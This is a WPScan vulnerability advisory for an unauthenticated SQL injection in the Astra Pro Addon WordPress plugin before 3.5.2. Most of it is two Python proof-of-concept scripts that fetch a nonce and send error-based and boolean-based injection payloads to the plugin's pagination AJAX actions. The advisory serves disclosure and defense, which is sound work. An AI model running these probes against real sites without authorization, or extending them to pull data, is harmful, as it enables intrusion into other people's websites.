Lucene search

K
wpvulndbNgoc NguyenWPVDB-ID:A1A0DC0B-C351-4D46-AC9B-B297CE4D251C
HistoryJul 08, 2021 - 12:00 a.m.

Astra Pro Addon < 3.5.2 - Unauthenticated SQL Injection

2021-07-0800:00:00
Ngoc Nguyen
wpscan.com
12

The plugin did not properly sanitise or escape some of the POST parameters from the astra_pagination_infinite and astra_shop_pagination_infinite AJAX action (available to both unauthenticated and authenticated user) before using them in SQL statement, leading to an SQL Injection issues

PoC

Via astra_pagination_infinite action: import argparse import requests as req from bs4 import BeautifulSoup as bs import json req.urllib3.disable_warnings() def get_nonce(url): try: headers = {“Sec-Ch-Ua”: “" Not A;Brand";v="99", "Chromium";v="90"”, “Sec-Ch-Ua-Mobile”: “?0”, “Upgrade-Insecure-Requests”: “1”, “User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36”, “Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9”, “Sec-Fetch-Site”: “none”, “Sec-Fetch-Mode”: “navigate”, “Sec-Fetch-User”: “?1”, “Sec-Fetch-Dest”: “document”, “Accept-Encoding”: “gzip, deflate”, “Accept-Language”: “en-US,en;q=0.9”, “Connection”: “close”} r = req.get(url, headers=headers, allow_redirects=True, verify=False) if ‘var astra = {’ in r.text and ‘infinite_nonce’ in r.text: soup = bs(r.content, ‘html.parser’) astra = soup.find(‘script’, attrs={‘id’: ‘astra-theme-js-js-extra’}).text.strip()[12:-1] data = json.loads(astra) nonce = data[‘infinite_nonce’] return nonce, r.url except Exception as e: #raise e return None, None return None, None def send_request(url, nonce, payload): data = { “action”: “astra_pagination_infinite”, “page_no”: “1”, “nonce”: “{}”.format(nonce), “query_vars”: r’{“tax_query”:{“0”:{“field”:“term_taxonomy_id”,“terms”:[“’ + payload + r’”]}}}‘, “astra_infinite”: “astra_pagination_ajax” } headers = {“Cache-Control”: “max-age=0”, “Sec-Ch-Ua”: “" Not A;Brand";v="99", "Chromium";v="90"”, “Sec-Ch-Ua-Mobile”: “?0”, “Upgrade-Insecure-Requests”: “1”, “User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36”, “Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9”, “Sec-Fetch-Site”: “none”, “Sec-Fetch-Mode”: “navigate”, “Sec-Fetch-User”: “?1”, “Sec-Fetch-Dest”: “document”, “Accept-Encoding”: “gzip, deflate”, “Accept-Language”: “en-US,en;q=0.9”, “Connection”: “close”, “Content-Type”: “application/x-www-form-urlencoded”} url += ‘/wp-admin/admin-ajax.php’ r = req.post(url, headers=headers, data=data, verify=False) return r.text def check_sqli(url, nonce): # grep error base res = send_request(url, nonce, "’“) if ‘database error’ in res: return True, ‘Vuln to Error-Based.’ # query 1 res1 = send_request(url, nonce, ‘9656)) and ((7556=1223’) res2 = send_request(url, nonce, ‘9634)) or ((6532=6532’) if res1 == ‘’ and (len(res2) > len(res1)): return True, ‘Vuln to Boolean-Based.’ return False, ‘Not vuln’ def main(): parser = argparse.ArgumentParser() parser.add_argument(”-u", “–url”, help=‘URL’, required=“True”) args = parser.parse_args() url = args.url nonce, r_url = get_nonce(url) print(check_sqli(r_url, nonce)[1]) main() Via astra_shop_pagination_infinite action: import argparse import requests as req from bs4 import BeautifulSoup as bs import json req.urllib3.disable_warnings() def get_nonce(url): try: headers = {“Sec-Ch-Ua”: “" Not A;Brand";v="99", "Chromium";v="90"”, “Sec-Ch-Ua-Mobile”: “?0”, “Upgrade-Insecure-Requests”: “1”, “User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36”, “Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9”, “Sec-Fetch-Site”: “none”, “Sec-Fetch-Mode”: “navigate”, “Sec-Fetch-User”: “?1”, “Sec-Fetch-Dest”: “document”, “Accept-Encoding”: “gzip, deflate”, “Accept-Language”: “en-US,en;q=0.9”, “Connection”: “close”} r = req.get(url, headers=headers, allow_redirects=True, verify=False) if ‘var astra = {’ in r.text and ‘shop_infinite_nonce’ in r.text: soup = bs(r.content, ‘html.parser’) astra = soup.find(‘script’, attrs={‘id’: ‘astra-theme-js-js-extra’}).text.strip()[12:-1] data = json.loads(astra) nonce = data[‘shop_infinite_nonce’] return nonce, r.url except Exception as e: #raise e return None, None return None, None def send_request(url, nonce, payload): data = { “action”: “astra_shop_pagination_infinite”, “page_no”: “1”, “nonce”: “{}”.format(nonce), “query_vars”: r’{“tax_query”:{“0”:{“field”:“term_taxonomy_id”,“terms”:[“’ + payload + r’”]}}}‘, “astra_infinite”: “astra_pagination_ajax” } headers = {“Cache-Control”: “max-age=0”, “Sec-Ch-Ua”: “" Not A;Brand";v="99", "Chromium";v="90"”, “Sec-Ch-Ua-Mobile”: “?0”, “Upgrade-Insecure-Requests”: “1”, “User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36”, “Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9”, “Sec-Fetch-Site”: “none”, “Sec-Fetch-Mode”: “navigate”, “Sec-Fetch-User”: “?1”, “Sec-Fetch-Dest”: “document”, “Accept-Encoding”: “gzip, deflate”, “Accept-Language”: “en-US,en;q=0.9”, “Connection”: “close”, “Content-Type”: “application/x-www-form-urlencoded”} url += ‘/wp-admin/admin-ajax.php’ r = req.post(url, headers=headers, data=data, verify=False) return r.text def check_sqli(url, nonce): # grep error base res = send_request(url, nonce, "’“) if ‘database error’ in res: return True, ‘Vuln to Error-Based.’ # query 1 res1 = send_request(url, nonce, ‘9656)) and ((7556=1223’) res2 = send_request(url, nonce, ‘9634)) or ((6532=6532’) if res1 == ‘’ and (len(res2) > len(res1)): return True, ‘Vuln to Boolean-Based.’ return False, ‘Not vuln’ def main(): parser = argparse.ArgumentParser() parser.add_argument(”-u", “–url”, help=‘URL’, required=“True”) args = parser.parse_args() url = args.url nonce, r_url = get_nonce(url) print(check_sqli(r_url, nonce)[1]) main()

CPENameOperatorVersion
astra-addonlt3.5.2
Related for WPVDB-ID:A1A0DC0B-C351-4D46-AC9B-B297CE4D251C